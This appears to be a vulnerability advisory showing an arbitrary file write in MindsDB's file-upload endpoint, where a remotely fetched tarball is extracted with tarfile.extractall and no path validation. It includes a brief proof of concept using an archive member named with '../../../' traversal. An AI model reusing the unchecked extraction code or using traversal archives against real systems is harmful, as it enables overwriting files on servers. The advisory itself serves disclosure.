mindsdb arbitrary file write when extracting a remotely retrieved Tarball

@ns_conf.route('/<name>')
@ns_conf.param('name', "MindsDB's name for file")
class File(Resource):
    @ns_conf.doc('put_file')
    def put(self, name: str):
        ''' add new file
            params in FormData:
                - file
                - original_file_name [optional]
        '''

        data = {}

        ... omitted for brevity

            url = data['source']
            data['file'] = data['name']

            ... omitted for brevity 

            with requests.get(url, stream=True) as r:                   # Source: retrieve the URL which point to a remotely located tarball 
                if r.status_code != 200:
                    return http_error(
                        400,
                        "Error getting file",
                        f"Got status code: {r.status_code}"
                    )
                file_path = os.path.join(temp_dir_path, data['file'])
                with open(file_path, 'wb') as f:
                    for chunk in r.iter_content(chunk_size=8192):   # write with chunks the remote retrieved file into file_path location 
                        f.write(chunk)

        original_file_name = data.get('original_file_name')

        file_path = os.path.join(temp_dir_path, data['file'])      
        lp = file_path.lower()
        if lp.endswith(('.zip', '.tar.gz')):
            if lp.endswith('.zip'):
                with zipfile.ZipFile(file_path) as f:
                    f.extractall(temp_dir_path)
            elif lp.endswith('.tar.gz'):
                with tarfile.open(file_path) as f:  # Just after 
                    f.extractall(temp_dir_path)  # Sink: the tarball located by file_path is supposed to be extracted to temp_dir_path.

> tar --list -v -f archive.tar.gz
tar: Removing leading "../../../" from member names
../../../sim4n6.txt

> python3 
Python 3.10.6 (main, Nov  2 2022, 18:53:38) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import tarfile
>>> with tarfile.open("archive.tar.gz") as tf:
>>>         tf.extractall()
>>> exit()

> test -f ../../../sim4n6.txt && echo "sim4n6.txt exists"
sim4n6.txt exists